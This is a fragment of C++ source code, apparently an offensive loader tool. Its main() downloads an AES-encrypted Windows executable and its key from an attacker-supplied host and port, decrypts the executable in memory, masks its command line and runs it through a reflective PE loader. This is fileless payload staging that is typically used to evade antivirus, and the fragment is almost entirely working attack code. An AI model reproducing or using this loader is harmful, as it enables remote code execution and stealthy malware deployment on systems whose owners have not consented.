| 626 | |
| 627 | |
| 628 | int main(int argc, char** argv) { |
| 629 | |
| 630 | if (argc != 5) { |
| 631 | printf("[+] Usage: %s <Host> <Port> <Cipher> <Key>\n", argv[0]); |
| 632 | return 1; |
| 633 | } |
| 634 | |
| 635 | char* host = argv[1]; |
| 636 | |
| 637 | |
| 638 | DWORD port = atoi(argv[2]); |
| 639 | |
| 640 | |
| 641 | char* pe = argv[3]; |
| 642 | |
| 643 | char* key = argv[4]; |
| 644 | |
| 645 | const size_t cSize1 = strlen(host) + 1; |
| 646 | wchar_t* whost = new wchar_t[cSize1]; |
| 647 | mbstowcs(whost, host, cSize1); |
| 648 | |
| 649 | |
| 650 | const size_t cSize2 = strlen(pe) + 1; |
| 651 | wchar_t* wpe = new wchar_t[cSize2]; |
| 652 | mbstowcs(wpe, pe, cSize2); |
| 653 | |
| 654 | const size_t cSize3 = strlen(key) + 1; |
| 655 | wchar_t* wkey = new wchar_t[cSize3]; |
| 656 | mbstowcs(wkey, key, cSize3); |
| 657 | |
| 658 | |
| 659 | |
| 660 | printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port); |
| 661 | DATA PE = GetData(whost, port, wpe); |
| 662 | if (!PE.data) { |
| 663 | printf("[-] Failed in getting AES Encrypted PE\n"); |
| 664 | return -1; |
| 665 | } |
| 666 | |
| 667 | printf("\n[+] Get AES Key from %s:%d\n", host, port); |
| 668 | DATA keyData = GetData(whost, port, wkey); |
| 669 | if (!keyData.data) { |
| 670 | printf("[-] Failed in getting key\n"); |
| 671 | return -2; |
| 672 | } |
| 673 | printf("\n[+] AES PE Address : %p\n", PE.data); |
| 674 | printf("\n[+] AES Key Address : %p\n", keyData.data); |
| 675 | |
| 676 | printf("\n[+] Decrypt the PE \n"); |
| 677 | DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len); |
| 678 | printf("\n[+] PE Decrypted\n"); |
| 679 | |
| 680 | // Fixing command line |
| 681 | sz_masqCmd_Ansi = (char*)"whatEver"; |
| 682 | |
| 683 | printf("\n[+] Loading and Running PE\n"); |
| 684 | PELoader((char*)PE.data, PE.len); |
| 685 |
nothing calls this directly
no test coverage detected